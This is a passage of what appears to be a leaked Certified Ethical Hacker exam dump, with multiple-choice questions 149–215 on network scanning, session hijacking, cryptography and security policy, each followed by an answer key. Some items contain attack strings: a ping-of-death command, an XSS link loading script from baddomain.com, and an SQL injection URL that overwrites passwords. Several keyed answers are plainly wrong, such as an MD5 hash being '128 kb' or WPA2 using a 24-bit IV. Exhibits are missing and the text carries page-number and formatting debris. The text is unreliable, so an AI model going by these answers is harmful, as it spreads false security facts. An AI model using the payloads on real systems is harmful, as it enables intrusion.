broadcast or the network address. The request would be broadcasted to all hosts on the targeted network.
The live hosts will send an ICMP ECHO Reply to the attacker's source IP address.
82

You send a ping request to the broadcast address 192.168.5.255.
There are 40 computers up and running on the target network. Only 13 hosts send a reply while others do
not. Why?
A. Windows machines will not generate an answer (ICMP ECHO Reply) to an ICMP ECHO request aimed
at the broadcast address or at the network address.
B. Linux machines will not generate an answer (ICMP ECHO Reply) to an ICMP ECHO request aimed at
the broadcast address or at the network address.
C. You should send a ping request with this command ping ? 192.168.5.0-255
D. You cannot ping a broadcast address. The above scenario is wrong.
Correct Answer: A



:
QUESTION 149
Charlie is the network administrator for his company. Charlie just received a new Cisco router and wants to
test its capabilities out and to see if it might be susceptible to a DoS attack resulting in its locking up. The IP
address of the Cisco switch is 172.16.0.45. What command can Charlie use to attempt this task?
A. Charlie can use the commanD. ping -l 56550 172.16.0.45 -t.
B. Charlie can try using the commanD. ping 56550 172.16.0.45.
C. By using the command ping 172.16.0.45 Charlie would be able to lockup the router
D. He could use the commanD. ping -4 56550 172.16.0.45.
Correct Answer: A



:
QUESTION 150
What type of encryption does WPA2 use?
83

A. DES 64 bit
B. AES-CCMP 128 bit
C. MD5 48 bit
D. SHA 160 bit
Correct Answer: B



:
QUESTION 151
Attackers send an ACK probe packet with random sequence number, no response means port is filtered
(Stateful firewall is present) and RST response means the port is not filtered. What type of Port Scanning is
this?
A. RST flag scanning
B. FIN flag scanning
C. SYN flag scanning
D. ACK flag scanning
Correct Answer: D



:
QUESTION 152
What is the command used to create a binary log file using tcpdump?
A. tcpdump -w ./log
B. tcpdump -r log
C. tcpdump -vde logtcpdump -vde ? log
D. tcpdump -l /var/log/
Correct Answer: A



:
QUESTION 153
Which port, when configured on a switch receives a copy of every packet that passes through it?
84

A. R-DUPE Port
B. MIRROR port
C. SPAN port
D. PORTMON
Correct Answer: C



:
QUESTION 154
What is the IV key size used in WPA2?
A. 32
B. 24
C. 16
D. 48
E. 128
Correct Answer: B



:
A 256-bit WEP system is available from some vendors.
As with the other WEP-variants 24 bits of that is for IV, leaving 232 bits for actual protection. These 232 bits
are typically entered as 58 hexadecimal charcters ((58 x 4 bits) 232 bits) + 24 IV bits =256-bit WEP key.
QUESTION 155
What type of session hijacking attack is shown in the exhibit?
85

A. Session Sniffing Attack
B. Cross-site scripting Attack
C. SQL Injection Attack
D. Token sniffing Attack
Correct Answer: A



:
QUESTION 156
What is the default Password Hash Algorithm used by NTLMv2?
A. MD4
B. DES
C. SHA-1
D. MD5
Correct Answer: D



:
QUESTION 157
Gerald, the Systems Administrator for Hyped Enterprises, has just discovered that his network has been
breached by an outside attacker. After performing routine maintenance on his servers, he discovers
numerous remote tools were installed that no one claims to have knowledge of in his department. Gerald
logs onto the management console for his IDS and discovers an unknown IP address that scanned his
network constantly for a week and was able to access his network through a high-level port that was not
closed. Gerald traces the IP address he found in the IDS log to a proxy server in Brazil. Gerald calls the
company that owns the proxy server and after
86

searching through their logs, they trace the source to another proxy server in Switzerland. Gerald calls the
company in Switzerland that owns the proxy server and after scanning through the logs again, they trace
the source back to a proxy server in China. What proxy tool has Gerald's attacker used to cover their
tracks?
A. ISA proxy
B. IAS proxy
C. TOR proxy
D. Cheops proxy
Correct Answer: C



:
QUESTION 158
Frederickson Security Consultants is currently conducting a security audit on the networks of Hawthorn
Enterprises, a contractor for the Department of Defense. Since Hawthorn Enterprises conducts business
daily with the federal government, they must abide by very stringent security policies. Frederickson is
testing all of Hawthorn's physical and logical security measures including biometrics, passwords, and
permissions. The federal government requires that all users must utilize random, non-dictionary passwords
that must take at least 30 days to crack. Frederickson has confirmed that all Hawthorn employees use a
random password generator for their network passwords. The Frederickson consultants have saved off
numerous SAM files from Hawthorn's servers using Pwdump6 and are going to try and crack the network
passwords. What method of attack is best suited to crack these passwords in the shortest amount of time?
A. Brute force attack
B. Birthday attack
C. Dictionary attack
D. Brute service attack
Correct Answer: A



:
QUESTION 159
You want to know whether a packet filter is in front of 192.168.1.10. Pings to 192.168.1.10 don't get
answered. A basic nmap scan of 192.168.1.10 seems to hang without returning any information. What
should you do next?
87

A. Run NULL TCP hping2 against 192.168.1.10
B. Run nmap XMAS scan against 192.168.1.10
C. The firewall is blocking all the scans to 192.168.1.10
D. Use NetScan Tools Pro to conduct the scan
Correct Answer: A



:
QUESTION 160
An Attacker creates a zuckerjournals.com website by copying and mirroring HACKERJOURNALS.COM site
to spread the news that Hollywood actor Jason Jenkins died in a car accident. The attacker then submits
his fake site for indexing in major search engines. When users search for "Jason Jenkins", attacker's fake
site shows up and dupes victims by the fake news.
This is another great example that some people do not know what URL's are. Real website:
Fake websitE. http://www.zuckerjournals.com
88

The website is clearly not WWW.HACKERJOURNALS.COM. It is obvious for many, but unfortunately some
people still do not know what an URL is. It's the address that you enter into the address bar at the top your
browser and this is clearly not legit site, its www.zuckerjournals.com
How would you verify if a website is authentic or not?
A. Visit the site using secure HTTPS protocol and check the SSL certificate for authenticity
B. Navigate to the site by visiting various blogs and forums for authentic links
C. Enable Cache on your browser and lookout for error message warning on the screen
D. Visit the site by clicking on a link from Google search engine
Correct Answer: D



:
QUESTION 161
A digital signature is simply a message that is encrypted with the public key instead of the private key.
A. true
B. false
89

Correct Answer: B



:
QUESTION 162
Blane is a network security analyst for his company. From an outside IP, Blane performs an XMAS scan
using Nmap. Almost every port scanned does not illicit a response. What can he infer from this kind of
response?
A. These ports are open because they do not illicit a response.
B. He can tell that these ports are in stealth mode.
C. If a port does not respond to an XMAS scan using NMAP, that port is closed.
D. The scan was not performed correctly using NMAP since all ports, no matter what their state, will illicit
some sort of response from an XMAS scan.
Correct Answer: A



:
QUESTION 163
In TCP communications there are 8 flags; FIN, SYN, RST, PSH, ACK, URG, ECE, CWR. These flags have
decimal numbers assigned to them:
FIN = 1
SYN = 2
RST = 4
PSH = 8
ACK = 16
URG = 32
ECE = 64
CWR =128
ExamplE. To calculate SYN/ACK flag decimal value, add 2 (which is the decimal value of the SYN flag) to
16 (which is the decimal value of the ACK flag), so the result would be 18.
90

Based on the above calculation, what is the decimal value for XMAS scan?
A. 23
B. 24
C. 41
D. 64
Correct Answer: C



:
QUESTION 164
A simple compiler technique used by programmers is to add a terminator 'canary word' containing four
letters NULL (0x00), CR (0x0d), LF (0x0a) and EOF (0xff) so that most string operations are terminated. If
the canary word has been altered when the function returns, and the program responds by emitting an
intruder alert into syslog, and then halts what does it indicate?
A. A buffer overflow attack has been attempted
B. A buffer overflow attack has already occurred
C. A firewall has been breached and this is logged
D. An intrusion detection system has been triggered
E. The system has crashed
Correct Answer: A



:
QUESTION 165
This is an example of whois record.
91

Sometimes a company shares a little too much information on their organization through public domain
records. Based on the above whois record, what can an attacker do? (Select 2 answers)
A. Search engines like Google, Bing will expose information listed on the WHOIS record
B. An attacker can attempt phishing and social engineering on targeted individuals using the "Pass Any
Exam. Any Time." - www.actualtests.com 92

information from WHOIS record
C. Spammers can send unsolicited e-mails to addresses listed in the WHOIS record
D. IRS Agents will use this information to track individuals using the WHOIS record information
Correct Answer: BC



:
QUESTION 166
Neil is closely monitoring his firewall rules and logs on a regular basis. Some of the users have complained
to Neil that there are a few employees who are visiting offensive web site during work hours, without any
consideration for others. Neil knows that he has an up-to-date content filtering system and such access
should not be authorized. What type of technique might be used by these offenders to access the Internet
without restriction?
A. They are using UDP that is always authorized at the firewall
B. They are using HTTP tunneling software that allows them to communicate with protocols in a way it was
not intended
C. They have been able to compromise the firewall, modify the rules, and give themselves proper access
D. They are using an older version of Internet Explorer that allow them to bypass the proxy server
Correct Answer: B



:
QUESTION 167
In this attack, a victim receives an e-mail claiming from PayPal stating that their account has been disabled
and confirmation is required before activation. The attackers then scam to collect not one but two credit
card numbers, ATM PIN number and other personal details.
93


Ignorant users usually fall prey to this scam. Which of the following statement is incorrect related to this
attack?
94

A. Do not reply to email messages or popup ads asking for personal or financial information
B. Do not trust telephone numbers in e-mails or popup ads
C. Review credit card and bank account statements regularly
D. Antivirus, anti-spyware, and firewall software can very easily detect these type of attacks
E. Do not send credit card numbers, and personal or financial information via e-mail
Correct Answer: D



:
QUESTION 168
Bob is going to perform an active session hijack against Brownies Inc. He has found a target that allows
session oriented connections (Telnet) and performs the sequence prediction on the target operating
system. He manages to find an active session due to the high level of traffic on the network. What is Bob
supposed to do next?
A. Take over the session
B. Reverse sequence prediction
C. Guess the sequence numbers
D. Take one of the parties offline
Correct Answer: C



:
QUESTION 169
ViruXine.W32 virus hides their presence by changing the underlying executable code. This Virus code
mutates while keeping the original algorithm intact, the code changes itself each time it runs, but the
function of the code (its semantics) will not change at all.
95

Here is a section of the Virus code:
What is this technique called?
A. Polymorphic Virus
B. Metamorphic Virus
C. Dravidic Virus
D. Stealth Virus
Correct Answer: A



:
96

QUESTION 170
"Testing the network using the same methodologies and tools employed by attackers" Identify the correct
terminology that defines the above statement.
A. Vulnerability Scanning
B. Penetration Testing
C. Security Policy Implementation
D. Designing Network Security
Correct Answer: B



:
QUESTION 171
Nathan is testing some of his network devices. Nathan is using Macof to try and flood the ARP cache of
these switches. If these switches' ARP cache is successfully flooded, what will be the result?
A. The switches will drop into hub mode if the ARP cache is successfully flooded.
B. If the ARP cache is flooded, the switches will drop into pix mode making it less susceptible to attacks.
C. Depending on the switch manufacturer, the device will either delete every entry in its ARP cache or
reroute packets to the nearest switch.
D. The switches will route all traffic to the broadcast address created collisions.
Correct Answer: A



:
QUESTION 172
You are programming a buffer overflow exploit and you want to create a NOP sled of 200 bytes in the
program exploit.c
97

What is the hexadecimal value of NOP instruction?
A. 0x60
B. 0x80
C. 0x70
D. 0x90
Correct Answer: D



:
QUESTION 173
This TCP flag instructs the sending system to transmit all buffered data immediately.
A. SYN
B. RST
C. PSH
D. URG
E. FIN
Correct Answer: C



:
QUESTION 174
The network administrator at Spears Technology, Inc has configured the default gateway Cisco router's
access-list as below:
98

You are hired to conduct security testing on their network. You successfully brute-force the SNMP
community string using a SNMP crack tool. The access-list configured at the router prevents you from
establishing a successful connection. You want to retrieve the Cisco configuration from the router. How
would you proceed?
A. Use the Cisco's TFTP default password to connect and download the configuration file
B. Run a network sniffer and capture the returned traffic with the configuration file from the router "Pass
Any Exam. Any Time." - www.actualtests.com 99

C. Run Generic Routing Encapsulation (GRE) tunneling protocol from your computer to the router masking
your IP address
D. Send a customized SNMP set request with a spoofed source IP address in the range - 192.168.1.0
Correct Answer: BD



:
QUESTION 175
You work for Acme Corporation as Sales Manager. The company has tight network security restrictions.
You are trying to steal data from the company's Sales database (Sales.xls) and transfer them to your home
computer. Your company filters and monitors traffic that leaves from the internal network to the Internet.
How will you achieve this without raising suspicion?
A. Encrypt the Sales.xls using PGP and e-mail it to your personal gmail account
B. Package the Sales.xls using Trojan wrappers and telnet them back your home computer
C. You can conceal the Sales.xls database in another file like photo.jpg or other files and send it out in an
innocent looking email or file transfer using Steganography techniques
D. Change the extension of Sales.xls to sales.txt and upload them as attachment to your hotmail account
Correct Answer: C



:
QUESTION 176
Study the snort rule given below and interpret the rule.
alert tcp any any --> 192.168.1.0/24 111 (content:"|00 01 86 a5|"; msG. "mountd access";)
A. An alert is generated when a TCP packet is generated from any IP on the 192.168.1.0 subnet and
destined to any IP on port 111
B. An alert is generated when any packet other than a TCP packet is seen on the network and destined for
the 192.168.1.0 subnet
C. An alert is generated when a TCP packet is originated from port 111 of any IP address to the
192.168.1.0 subnet
D. An alert is generated when a TCP packet originating from any IP address is seen on the network and
destined for any IP address on the 192.168.1.0 subnet on port 111 "Pass Any Exam. Any Time." - www.
actualtests.com 100

Correct Answer: D



:
QUESTION 177
What port number is used by LDAP protocol?
A. 110
B. 389
C. 464
D. 445
Correct Answer: B



:
QUESTION 178
Fred is the network administrator for his company. Fred is testing an internal switch. From an external IP
address, Fred wants to try and trick this switch into thinking it already has established a session with his
computer. How can Fred accomplish this?
A. Fred can accomplish this by sending an IP packet with the RST/SIN bit and the source address of his
computer.
B. He can send an IP packet with the SYN bit and the source address of his computer.
C. Fred can send an IP packet with the ACK bit set to zero and the source address of the switch.
D. Fred can send an IP packet to the switch with the ACK bit and the source address of his machine.
Correct Answer: D



:
QUESTION 179
Within the context of Computer Security, which of the following statements describes Social Engineering
best?
A. Social Engineering is the act of publicly disclosing information "Pass Any Exam. Any Time." - www.
actualtests.com 101

B. Social Engineering is the means put in place by human resource to perform time accounting
C. Social Engineering is the act of getting needed information from a person rather than breaking into a
system
D. Social Engineering is a training program within sociology studies
Correct Answer: C



:
QUESTION 180
In Trojan terminology, what is a covert channel?
A. A channel that transfers information within a computer system or network in a way that violates the
security policy
B. A legitimate communication path within a computer system or network for transfer of data
C. It is a kernel operation that hides boot processes and services to mask detection
D. It is Reverse tunneling technique that uses HTTPS protocol instead of HTTP protocol to establish
connections
Correct Answer: A



:
QUESTION 181
When a normal TCP connection starts, a destination host receives a SYN (synchronize/start) packet from a
source host and sends back a SYN/ACK (synchronize acknowledge). The destination host must then hear
an ACK (acknowledge) of the SYN/ACK before the connection is established. This is referred to as the
"TCP three-way handshake." While waiting for the ACK to the SYN ACK, a connection queue of finite size
on the destination host keeps track of connections waiting to be completed. This queue typically empties
quickly since the ACK is expected to arrive a few milliseconds after the SYN ACK. How would an attacker
exploit this design by launching TCP SYN attack?
102

A. Attacker generates TCP SYN packets with random destination addresses towards a victim host
B. Attacker floods TCP SYN packets with random source addresses towards a victim host
C. Attacker generates TCP ACK packets with random source addresses towards a victim host
D. Attacker generates TCP RST packets with random source addresses towards a victim host
Correct Answer: B



:
QUESTION 182
Yancey is a network security administrator for a large electric company. This company provides power for
over 100,000 people in Las Vegas. Yancey has worked for his company for over 15 years and has become
very successful. One day, Yancey comes in to work and finds out that the company will be downsizing and
he will be out of a job in two weeks. Yancey is very angry and decides to place logic bombs, viruses,
Trojans, and backdoors all over the network to take down the company once he has left. Yancey does not
care if his actions land him in jail for 30 or more years, he just wants the company to pay for what they are
doing to him. What would Yancey be considered?
A. Yancey would be considered a Suicide Hacker
B. Since he does not care about going to jail, he would be considered a Black Hat
C. Because Yancey works for the company currently; he would be a White Hat
D. Yancey is a Hacktivist Hacker since he is standing up to a company that is downsizing
Correct Answer: A



:
QUESTION 183
You receive an e-mail like the one shown below. When you click on the link contained in the mail, you are
redirected to a website seeking you to download free Anti-Virus software.
Dear valued customers,
We are pleased to announce the newest version of Antivirus 2010 for Windows which will probe you with
total security against the latest spyware, malware, viruses, Trojans and other online threats. Simply visit the
link below and enter your antivirus code:
Antivirus codE. 5014
103

http://www.juggyboy/virus/virus.html
Thank you for choosing us, the worldwide leader Antivirus solutions.
Mike Robertson
PDF Reader Support
Copyright Antivirus 2010 ?All rights reserved
If you want to stop receiving mail, please go to:
http://www.juggyboy.com
or you may contact us at the following address: Media Internet Consultants, Edif. Neptuno, Planta Baja,
Ave. Ricardo J. Alfaro, Tumba Muerto, n/a Panama
How will you determine if this is Real Anti-Virus or Fake Anti-Virus website?
104

A. Look at the website design, if it looks professional then it is a Real Anti-Virus website
B. Connect to the site using SSL, if you are successful then the website is genuine
C. Search using the URL and Anti-Virus product name into Google and lookout for suspicious warnings
against this site
D. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt
you and stop the installation if the downloaded file is a malware
E. Download and install Anti-Virus software from this suspicious looking site, your Windows 7 will prompt
you and stop the installation if the downloaded file is a malware
Correct Answer: C



105

:
QUESTION 184
Every company needs a formal written document which spells out to employees precisely what they are
allowed to use the company's systems for, what is prohibited, and what will happen to them if they break the
rules. Two printed copies of the policy should be given to every employee as soon as possible after they
join the organization. The employee should be asked to sign one copy, which should be safely filed by the
company. No one should be allowed to use the company's computer systems until they have signed the
policy in acceptance of its terms. What is this document called?
A. Information Audit Policy (IAP)
B. Information Security Policy (ISP)
C. Penetration Testing Policy (PTP)
D. Company Compliance Policy (CCP)
Correct Answer: B



:
QUESTION 185
Take a look at the following attack on a Web Server using obstructed URL:
How would you protect from these attacks?
A. Configure the Web Server to deny requests involving "hex encoded" characters
B. Create rules in IDS to alert on strange Unicode requests
C. Use SSL authentication on Web Servers
D. Enable Active Scripts Detection at the firewall and routers "Pass Any Exam. Any Time." - www.
actualtests.com 106

Correct Answer: B



:
QUESTION 186
Which type of sniffing technique is generally referred as MiTM attack?
A. Password Sniffing
B. ARP Poisoning
C. Mac Flooding
D. DHCP Sniffing
Correct Answer: B



:
ARP poisoning is the closest value to the right answer because ARP spoofing, also known as ARP flooding,
ARP poisoning or ARP poison routing (APR), is a technique used to attack a local-area network (LAN).
ARP spoofing may allow an attacker to interceptdata frames on a LAN, modify the traffic, or stop the traffic
altogether. The attack can only be used on networks that make use of the Address Resolution Protocol
(ARP) and not another method of address resolution.
107

QUESTION 187
Switches maintain a CAM Table that maps individual MAC addresses on the network to physical ports on
the switch.
In MAC flooding attack, a switch is fed with many Ethernet frames, each containing different source MAC
addresses, by the attacker. Switches have a limited memory for mapping various MAC addresses to
physical ports. What happens when the CAM table becomes full?
A. Switch then acts as hub by broadcasting packets to all machines on the network
B. The CAM overflow table will cause the switch to crash causing Denial of Service
C. The switch replaces outgoing frame switch factory default MAC address of FF:FF:FF:FF:FF:FF
D. Every packet is dropped and the switch sends out SNMP alerts to the IDS port
Correct Answer: A



:
QUESTION 188
You went to great lengths to install all the necessary technologies to prevent hacking attacks, such as
expensive firewalls, antivirus software, anti-spam systems and intrusion detection/prevention tools in your
company's network. You have configured the most secure policies and tightened every device on your
network. You are confident that hackers will never be able to gain access to your network with complex
security system in place. Your peer, Peter Smith who works at the same department disagrees with you. He
says even the best network security technologies cannot prevent hackers gaining access to the network
because of presence of "weakest link" in the security chain. What is Peter Smith talking about?
A. Untrained staff or ignorant computer users who inadvertently become the weakest link in your security
chain
B. "zero-day" exploits are the weakest link in the security chain since the IDS will not be able to "Pass Any
Exam. Any Time." - www.actualtests.com 108

detect these attacks
C. "Polymorphic viruses" are the weakest link in the security chain since the Anti-Virus scanners will not be
able to detect these attacks
D. Continuous Spam e-mails cannot be blocked by your security system since spammers use different
techniques to bypass the filters in your gateway
Correct Answer: A



:
QUESTION 189
How does a denial-of-service attack work?
A. A hacker prevents a legitimate user (or group of users) from accessing a service
B. A hacker uses every character, word, or letter he or she can think of to defeat authentication
C. A hacker tries to decipher a password by using a system, which subsequently crashes the network
D. A hacker attempts to imitate a legitimate user by confusing a computer or even another person
Correct Answer: A



:
QUESTION 190
You are trying to break into a highly classified top-secret mainframe computer with highest security system
in place at Merclyn Barley Bank located in Los Angeles. You know that conventional hacking doesn't work
in this case, because organizations such as banks are generally tight and secure when it comes to
protecting their systems. In other words you are trying to penetrate an otherwise impenetrable system. How
would you proceed?
A. Look for "zero-day" exploits at various underground hacker websites in Russia and China and buy the
necessary exploits from these hackers and target the bank's network
B. Try to hang around the local pubs or restaurants near the bank, get talking to a poorly-paid or
disgruntled employee, and offer them money if they'll abuse their access privileges by providing you with
sensitive information
C. Launch DDOS attacks against Merclyn Barley Bank's routers and firewall systems using 100,000 or
more "zombies" and "bots"
D. Try to conduct Man-in-the-Middle (MiTM) attack and divert the network traffic going to the Merclyn
Barley Bank's Webserver to that of your machine using DNS Cache Poisoning techniques
Correct Answer: B



109

:
QUESTION 191
This is an attack that takes advantage of a web site vulnerability in which the site displays content that
includes un-sanitized user-provided data.
<ahref="http://foobar.com/index.html?id=%3Cscript%20src=%22http://baddomain.com/badscript.js %22%
3E%3C/script%3E">See foobar</a>
What is this attack?
A. Cross-site-scripting attack
B. SQL Injection
C. URL Traversal attack
D. Buffer Overflow attack
Correct Answer: A



:
QUESTION 192
Buffer X in an Accounting application module for Brownies Inc. can contain 200 characters. The
programmer makes an assumption that 200 characters are more than enough. Because there were no
proper boundary checks being conducted, Bob decided to insert 400 characters into the 200-character
buffer. (Overflows the buffer). Below is the code snippet:
How can you protect/fix the problem of your application as shown above?
A. Because the counter starts with 0, we would stop when the counter is less than 200 "Pass Any Exam.
Any Time." - www.actualtests.com 110

B. Because the counter starts with 0, we would stop when the counter is more than 200
C. Add a separate statement to signify that if we have written less than 200 characters to the buffer, the
stack should stop because it cannot hold any more data
D. Add a separate statement to signify that if we have written 200 characters to the buffer, the stack should
stop because it cannot hold any more data
Correct Answer: AD



:
QUESTION 193
Which of the following encryption is NOT based on block cipher?
A. DES
B. Blowfish
C. AES (Rijndael)
D. RC4
Correct Answer: D



:
QUESTION 194
Michael is a junior security analyst working for the National Security Agency (NSA) working primarily on
breaking terrorist encrypted messages. The NSA has a number of methods they use to decipher encrypted
messages including Government Access to Keys (GAK) and inside informants. The NSA holds secret
backdoor keys to many of the encryption algorithms used on the Internet. The problem for the NSA, and
Michael, is that terrorist organizations are starting to use custom-built algorithms or obscure algorithms
purchased from corrupt governments. For this reason, Michael and other security analysts like him have
been forced to find different methods of deciphering terrorist messages. One method that Michael thought
of using was to hide malicious code inside seemingly harmless programs. Michael first monitors sites and
bulletin boards used by known terrorists, and then he is able to glean email addresses to some of these
suspected terrorists. Michael then inserts a stealth keylogger into a mapping program file readme.txt and
then sends that as an attachment to the terrorist. This keylogger takes screenshots every 2 minutes and
also logs all keyboard activity into a hidden file on the terrorist's computer. Then, the keylogger emails those
files to Michael twice a day with a built in SMTP server. What technique has Michael used to disguise this
keylogging software?
A. Steganography
B. Wrapping
111

C. ADS
D. Hidden Channels
Correct Answer: C



:
QUESTION 195
In which step Steganography fits in CEH System Hacking Cycle (SHC)
A. Step 2: Crack the password
B. Step 1: Enumerate users
C. Step 3: Escalate privileges
D. Step 4: Execute applications
E. Step 5: Hide files
F. Step 6: Cover your tracks
Correct Answer: E



:
QUESTION 196
Which definition below best describes a covert channel?
A. A server program using a port that is not well known
B. Making use of a protocol in a way it was not intended to be used
C. It is the multiplexing taking place on a communication link
D. It is one of the weak channels used by WEP that makes it insecure
Correct Answer: B



:
QUESTION 197
Joseph has just been hired on to a contractor company of the Department of Defense as their Senior
Security Analyst. Joseph has been instructed on the company's strict security policies that have been
implemented, and the policies that have yet to be put in place. Per the Department of Defense, all DoD
users and the users of their contractors must use two-factor authentication to access their networks.
Joseph has been delegated the task of researching and implementing the
112

best two-factor authentication method for his company. Joseph's supervisor has told him that they would
like to use some type of hardware device in tandem with a security or identifying pin number. Joseph's
company has already researched using smart cards and all the resources needed to implement them, but
found the smart cards to not be cost effective. What type of device should Joseph use for two-factor
authentication?
A. Biometric device
B. OTP
C. Proximity cards
D. Security token
Correct Answer: D



:
QUESTION 198
What type of attack is shown here?
A. Bandwidth exhaust Attack
B. Denial of Service Attack
C. Cluster Service Attack
D. Distributed Denial of Service Attack
Correct Answer: D



:
We think this is a DDoS attack not DoS because the attack is initialed in multiple zombies not single
machine.
113

QUESTION 199
What is the correct order of steps in CEH System Hacking Cycle?
A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: A



:
QUESTION 200
Identify SQL injection attack from the HTTP requests shown below:
114

A. http://www.myserver.c0m/search.asp?
lname=smith%27%3bupdate%20usertable%20set%20passwd%3d%27hAx0r%27%3b--
B. http://www.myserver.c0m/script.php?mydata=%3cscript%20src=%22
C. http%3a%2f%2fwww.yourserver.c0m%2fbadscript.js%22%3e%3c%2fscript%3e
D. http://www.victim.com/example accountnumber=67891&creditamount=999999999
Correct Answer: A



:
Topic 3, Volume C
QUESTION 201
To see how some of the hosts on your network react, Winston sends out SYN packets to an IP range. A
number of IPs respond with a SYN/ACK response. Before the connection is established he sends RST
packets to those hosts to stop the session. Winston has done this to see how his intrusion detection system
will log the traffic. What type of scan is Winston attempting here?
A. Winston is attempting to find live hosts on your company's network by using an XMAS scan.
B. He is utilizing a SYN scan to find live hosts that are listening on your network.
C. This type of scan he is using is called a NULL scan.
D. He is using a half-open scan to find live hosts on your network.
Correct Answer: D



:
QUESTION 202
John runs a Web server, IDS and firewall on his network. Recently his Web server has been under
constant hacking attacks. He looks up the IDS log files and sees no intrusion attempts but the Web server
constantly locks up and needs rebooting due to various brute force and buffer overflow attacks but still the
IDS alerts no intrusion whatsoever. John becomes suspicious and views the Firewall logs and he notices
huge SSL connections constantly hitting his Web server. Hackers have been using the encrypted HTTPS
protocol to send exploits to the Web server and that was the reason the IDS did not detect the intrusions.
How would John protect his network from these types of attacks?
A. Install a proxy server and terminate SSL at the proxy
B. Enable the IDS to filter encrypted HTTPS traffic
C. Install a hardware SSL "accelerator" and terminate SSL at this layer
D. Enable the Firewall to filter encrypted HTTPS traffic "Pass Any Exam. Any Time." - www.actualtests.
com 115

Correct Answer: AC



:
QUESTION 203
Jane wishes to forward X-Windows traffic to a remote host as well as POP3 traffic. She is worried that
adversaries might be monitoring the communication link and could inspect captured traffic. She would like
to tunnel the information to the remote end but does not have VPN capabilities to do so. Which of the
following tools can she use to protect the link?
A. MD5
B. PGP
C. RSA
D. SSH
Correct Answer: D



:
QUESTION 204
NTP allows you to set the clocks on your systems very accurately, to within 100ms and sometimes-even
10ms. Knowing the exact time is extremely important for enterprise security. Various security protocols
depend on an accurate source of time information in order to prevent "playback" attacks. These protocols
tag their communications with the current time, to prevent attackers from replaying the same
communications, e.g., a login/password interaction or even an entire communication, at a later date. One
can circumvent this tagging, if the clock can be set back to the time the communication was recorded. An
attacker attempts to try corrupting the clocks on devices on your network. You run Wireshark to detect the
NTP traffic to see if there are any irregularities on the network. What port number you should enable in
Wireshark display filter to view NTP packets?
A. TCP Port 124
B. UDP Port 125
C. UDP Port 123
D. TCP Port 126
Correct Answer: C



:
116

QUESTION 205
Bill is a security analyst for his company. All the switches used in the company's office are Cisco switches.
Bill wants to make sure all switches are safe from ARP poisoning. How can Bill accomplish this?
A. Bill can use the commanD. ip dhcp snooping.
B. Bill can use the commanD. no ip snoop.
C. Bill could use the commanD. ip arp no flood.
D. He could use the commanD. ip arp no snoop.
Correct Answer: A



:
QUESTION 206
You generate MD5 128-bit hash on all files and folders on your computer to keep a baseline check for
security reasons?
What is the length of the MD5 hash?
A. 32 bit
B. 64 byte
C. 48 char
D. 128 kb
Correct Answer: D



117

:
QUESTION 207
Which type of password cracking technique works like dictionary attack but adds some numbers and
symbols to the words from the dictionary and tries to crack the password?
A. Dictionary attack
B. Brute forcing attack
C. Hybrid attack
D. Syllable attack
E. Rule-based attack
Correct Answer: C



:
QUESTION 208
What command would you type to OS fingerprint a server using the command line?
118

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: C



:
QUESTION 209
What do you call a pre-computed hash?
A. Sun tables
B. Apple tables
C. Rainbow tables
D. Moon tables
Correct Answer: C



:
QUESTION 210
Why attackers use proxy servers?
A. To ensure the exploits used in the attacks always flip reverse vectors "Pass Any Exam. Any Time." -
www.actualtests.com 119

B. Faster bandwidth performance and increase in attack speed
C. Interrupt the remote victim's network traffic and reroute the packets to attackers machine
D. To hide the source IP address so that an attacker can hack without any legal corollary
Correct Answer: D



:
QUESTION 211
The SNMP Read-Only Community String is like a password. The string is sent along with each SNMP Get-
Request and allows (or denies) access to a device. Most network vendors ship their equipment with a
default password of "public". This is the so-called "default public community string". How would you keep
intruders from getting sensitive information regarding the network devices using SNMP? (Select 2 answers)
A. Enable SNMPv3 which encrypts username/password authentication
B. Use your company name as the public community string replacing the default 'public'
C. Enable IP filtering to limit access to SNMP device
D. The default configuration provided by device vendors is highly secure and you don't need to change
anything
Correct Answer: AC



:
QUESTION 212
You are writing security policy that hardens and prevents Footprinting attempt by Hackers. Which of the
following countermeasures will NOT be effective against this attack?
A. Configure routers to restrict the responses to Footprinting requests
B. Configure Web Servers to avoid information leakage and disable unwanted protocols
C. Lock the ports with suitable Firewall configuration
D. Use an IDS that can be configured to refuse suspicious traffic and pick up Footprinting patterns
E. Evaluate the information before publishing it on the Website/Intranet
F. Monitor every employee computer with Spy cameras, keyloggers and spy on them
G. Perform Footprinting techniques and remove any sensitive information found on DMZ sites
H. Prevent search engines from caching a Webpage and use anonymous registration services
I. Disable directory and use split-DNS
Correct Answer: F



:
120

QUESTION 213
Bank of Timbuktu is a medium-sized, regional financial institution in Timbuktu. The bank has deployed a
new Internet-accessible Web application recently. Customers can access their account balances, transfer
money between accounts, pay bills and conduct online financial business using a Web browser.
John Stevens is in charge of information security at Bank of Timbuktu. After one month in production,
several customers have complained about the Internet enabled banking application. Strangely, the account
balances of many of the bank's customers had been changed! However, money hasn't been removed from
the bank; instead, money was transferred between accounts. Given this attack profile, John Stevens
reviewed the Web application's logs and found the following entries:
What kind of attack did the Hacker attempt to carry out at the bank?
A. Brute force attack in which the Hacker attempted guessing login ID and password from password
cracking tools.
B. The Hacker attempted Session hijacking, in which the Hacker opened an account with the bank, then
logged in to receive a session ID, guessed the next ID and took over Jason's session.
C. The Hacker used a generator module to pass results to the Web server and exploited Web application
CGI vulnerability.
D. The Hacker first attempted logins with suspected user names, then used SQL Injection to gain access
to valid bank login IDs.
Correct Answer: D



:
121

QUESTION 214
WWW wanderers or spiders are programs that traverse many pages in the World Wide Web by recursively
retrieving linked pages. Search engines like Google, frequently spider web pages for indexing. How will you
stop web spiders from crawling certain directories on your website?
A. Place robots.txt file in the root of your website with listing of directories that you don't want to be crawled
B. Place authentication on root directories that will prevent crawling from these spiders
C. Enable SSL on the restricted directories which will block these spiders from crawling
D. Place "HTTP:NO CRAWL" on the html pages that you don't want the crawlers to index
Correct Answer: A



:
QUESTION 215
You are trying to hijack a telnet session from a victim machine with IP address 10.0.0.5 to Cisco router at
10.0.0.1. You sniff the traffic and attempt to predict the sequence and acknowledgement numbers to
successfully hijack the telnet session.
Here is the captured data in tcpdump.
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What are the next sequence and acknowledgement numbers that the router will send to the victim
123

machine?
A. Sequence number: 82980070 Acknowledgement number: 17768885A.
B. Sequence number: 17768729 Acknowledgement number: 82980070B.
C. Sequence number: 87000070 Acknowledgement number: 85320085C.
D. Sequence number: 82980010 Acknowledgement number: 17768885D.
Correct Answer: A



:
